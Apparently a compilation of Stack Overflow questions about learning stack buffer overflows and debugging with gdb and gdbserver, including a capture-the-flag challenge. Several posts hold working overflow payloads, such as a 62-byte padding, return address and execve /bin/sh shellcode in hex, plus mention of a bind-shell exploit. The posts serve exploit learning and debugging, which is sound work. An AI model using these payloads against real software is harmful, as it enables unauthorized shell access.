I am trying to learn how to do buffer overflows by following this tutorial: http://www.ouah.org/readmeneu.htm but I can't get the exploit working.
Sources, exploit.c: http://pastebin.com/b95G2KK7 and server.c: http://pastebin.com/PM4GdcT7 . The shellcode that is being used is http://pastebin.com/fuGgDeAH .
I modified the exploit.c and the server.c to get them running.
Compiled server.c with -fno-stack-protector and set /proc/sys/kernel/randomize_va_space to 0. Also I tested the shellcode (gcc shellcode.c -z execstack; ./a.out; netcat 127.0.0.1 64713) and it works.
From what I understand the exploit.c does the following:
Fill buffer with NOP
Put shellcode in the middle of the buffer
Fill the end of the buffer with the wanted RET (0xbfff620)
Send the buffer (incl. shellcode)
The RET of the program then should execute the shellcode
So I load gdb and run the server program.
When executing the exploit program it gives a segmentation error and returns the right RET address.
Program received signal SIGSEGV, Segmentation fault.
0xbffff620 in ?? ()
The output of (gdb) 'x/400bx $esp-200' can be seen at the url: http://pastebin.com/bCqphFNn it looks correct..
Unfortunately the program does not open a port on 127.0.0.1 64713.
(gdb) show stack shows me:
eip = 0xbffff620; saved eip 0x90909090
called by frame at 0xbffff62c
Arglist at 0xbffff62c, args:
Locals at 0xbffff62c, Previous frame's sp is 0xbffff628
Saved registers:
ebp at 0xbffff620, eip at 0xbffff624
I'm not sure how to continue now; how can I get the exploit working? What am I missing?
* Updated *
I've compiled the server.c using the (-g) and the (-z execstack) options. When working from gdb: the exploit does seem to work (it opens a port on 64713). But when I try to connect to that port using nc or telnet the server.c receives a SIGSEGV signal (on 0xbffff6fc); the port 64713 is still open but does not respond to any commands..
Without gdb: the server.c still receives a segmentation fault when ./exploit is executed.. no port is opened.
Related
Question
I have a test program called scan (see code section) that I run in one terminal. The program starts running and asks the user to enter a letter:
$ ./scan
Enter a letter
In another terminal window, I run gdb and attach to the scan process:
$ sudo gdb -p `pidof scan`
(gdb)
I would like to send contents of a binary file called payload as input to the scan process. How can I accomplish this in gdb while the process is attached? Is this possible?
Background
I want to attach to the scan process because I want to examine the program's ASLR address space while running. If I run the process directly with gdb ($ gdb scan), gdb turns off ASLR and I get consistent addressing.
For example, running scan directly with gdb (please note that ... is truncated output):
$ gdb scan
(gdb) info functions
...
0x00000000000005a8 _init
0x00000000000005d0 __stack_chk_fail#plt
0x00000000000005e0 printf#plt
0x00000000000005f0 __isoc99_scanf#plt
...
The addresses shown above are the same every time I run gdb this way, which indicates that gdb turns off ASLR. However, when attaching to a process, the addresses always change. On one run:
$ sudo gdb -p `pidof scan`
(gdb) info functions
...
0x00005598706305a8 _init
0x00005598706305d0 __stack_chk_fail#plt
0x00005598706305e0 printf#plt
0x00005598706305f0 __isoc99_scanf#plt
On another run:
0x000055813ccf65a8 _init
0x000055813ccf65d0 __stack_chk_fail#plt
0x000055813ccf65e0 printf#plt
0x000055813ccf65f0 __isoc99_scanf#plt
The file payload contains a binary payload. I know how to send file contents as input when running gdb normally (e.g. (gdb) run < payload), but not when running with an attached process.
I do not want to copy/paste these file contents into the terminal that is runningscan. I also do not want to turn off ASLR.
Things I have tried/read
I have read the gdb manual and gdb help commands:
(gdb) help
(gdb) help target
(gdb) help attach
(gdb) help obscure
Other StackOverflow questions do not ask about sending input to an attached process:
Pass File Input and Stdin to gdb
How to debug a program that takes user input from stdin with GDB?
How to passing input data in GDB mode for programming C. Already passed parameters and run program
Code
My entire scan program is this:
#include <stdio.h>
int main(int argc, char **argv)
{
char letter[1];
char buffer[8];
printf("Enter a letter: ");
int result = scanf("%s", letter);
printf("You entered: %s\n", letter);
}
I'm trying to complete a tutorial about exploiting a buffer overflow, https://www.youtube.com/watch?v=hJ8IwyhqzD4. Everything seems to work, except at the end, the '/bin/sh' program isn't run, though I can see the no-op symbols and '/bin/sh' text.
The message should read "Process is executing new program: /bin/sh", but instead I get:
Program received signal SIGILL, Illegal instruction.
0xb7e30a00 in __libc_start_main (main=0x804844d <main>, argc=3,
argv=0xbffff0a4, init=0x8048490 <__libc_csu_init>,
fini=0x8048500 <__libc_csu_fini>, rtld_fini=0xb7fed180 <_dl_fini>,
stack_end=0xbffff09c) at libc-start.c:246
246 libc-start.c: No such file or directory.
I also get this same message when trying to find the edge of the buffer with this command in gdb:
run $(python -c "print('A'*268)").
Any help understanding this error is greatly appreciated.
Michael
I'm trying to learn how buffer overflows work and how this can be used.
I'm solving a simple challenge (backdoorlabs echo challenge) by trying to exploit a supplied binary file.
(see: http://hack.bckdr.in/ECHO/echo)
I think I'm doing everything right (accoring to the guides and tutorials I have been reading) but still it is not working and driving me crazy for hours now already.
The bufferoverflow lets me over write the next instruction (eip).
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
So I'm able to overwrite the next eip, now lets add some 21 bytes shell code which spawns a shell and try to find the address where it is.
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xbffff750: 0xe1f7c931 0x2f2f6851 0x2f686873 0x896e6962
0xbffff760: 0xcd0bb0e3 0xbfff0080 0xbffff80c 0xb7fff3d0
0xbffff770: 0x08048480 0xffffffff 0x0012efc4 0x080482d8
0xbffff780: 0x00000001 0xbffff7c0 0x0011eb25 0x0012fab0
Bingo the shellcode is right here loaded at 0xbffff750, so that is the adress we want to adress the eip to..
Until now everything looks right to me so I try it with the right values found.
(gdb) run <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0xbffff750 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb)
(gdb) x/i $eip
=> 0xbffff750: xor %ecx,%ecx
(gdb)
The eip got changed to the right adress and the shellcode is in place however when i try it in my shell it does not work and still segfaults as you can see.
[rick#TESTBOX tmp]$ ./vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Segmentation fault
[rick#TESTBOX tmp]$
Anyone here has some thoughts about this, sees an error or has any other ideas ?
As mentioned I'm a newbie trying to understand the basic principles and obviously I'm doing something wrong.
I think your problem is:
there is a difference between the real execution of a program and the gdb-controlled one.
You need to
predict this difference. And this question gives an example how to do it.
OR
I alse faced your problem months before. At that time, I observed this difference. But I did not use this way to find the difference, instead, I used the brute force way exampled in The Art of Exploitation 0x331: try different offsets with a shell script.
This question might help you in the future, which tells you how to turn off some security functions to allow you to attack.
i'm trying to debug a C program, which runs on an ARM926EJ-S rev 5 (v5l). The software was cross-compiled (and is statically linked) with the std. arm-linux-gnueabi compiler (intalled via synaptic). I run Ubuntu 13.04 64bit. On the device is a Busybox v1.18.2. I successfully compiled gdbserver (with host=arm-linux-gnueabi) and gdb (with target=arm-linux-gnueabi) and can start my program on the embedded device via the locally running gdb...
My problem now is, that i don't have a proper backtrace output.
Message of gdb:
Remote debugging using 192.168.21.127:2345
0x0000a79c in ?? ()
(gdb) run
The "remote" target does not support "run". Try "help target" or "continue".
(gdb) continue
Continuing.
Cannot access memory at address 0x0
Program received signal SIGINT, Interrupt.
0x00026628 in ?? ()
(gdb) backtrace
#0 0x00026628 in ?? ()
#1 0x00036204 in ?? ()
#2 0x00036204 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb)
I try to compile the software with -g, -g3 -gdwarf-2, -ggdb, -ggdb3 without any difference.
Has anybody an idea what i am missing here?
Is this a problem maybe with the BusyBox or do i need additional libs on my host system?
I also tried the function backtrace_symbols from execinfo.h with nearly the same output...
Thanks in advance for any reply.
Another way for debugging is use gdb inside board follow below steps.
1)Run gdb process and attach your process to gdb using attach <pid> command
2)Continue your process using c command in gdb
Whenever you find any SIGINT or SIGSEGV then refer stack of your process using bt command in gdb.
I wanted to start using gdbserver for remote debugging and so I tested-out its functionality on my local machine with a simple test program that generates a segfault shown below:
segfault.c -- compiles to elf named "test"
#define NULL ((void*)0)
int main()
{
int value = *((int*)NULL);
return value;
}
Now when I run:
#gdb test
(gdb)run
I get:
Starting program: /home/awaibel/digiworkspace/test/Debug/test
Program received signal SIGSEGV, Segmentation fault.
0x080483bf in main () at ../segfault.c:4
4 int value = *((int*)NULL);
however if I debug it with gdb server like so:
#gdbserver :65535 test
#gdb test
(gdb)target remote 127.0.0.1:65535
(gdb)continue
it gives me the debug info:
Program received signal SIGSEGV, Segmentation fault.
0x080483bf in ?? ()
it seems to give the same function address for the segfault, but the name and line number is omitted when debugging with the remote debugger. is it possible to have the remote debugger display this information, and if so, how?
I guess I should add that the program was compiled with GCC using the "-g" debug flag
Thanks to markys' comments I was able to figure out the problem. Since the gdb client is what parses the symbols and not the server, I had to make sure the client knew the full path to a copy of the executable. Since 'test' was not in the current directory for the command prompt that was used to run gdbtest it did not have a copy of the symbols to use. adding the the binary to PATH for the terminal running the client solved the problem. Thanks.
Summarizing:
server side:
gdbserver --multi :port "path-to-executable"
client side:
gdb "path-to-executable"
(gdb)> target remote "ip-of-the-remote-device:port"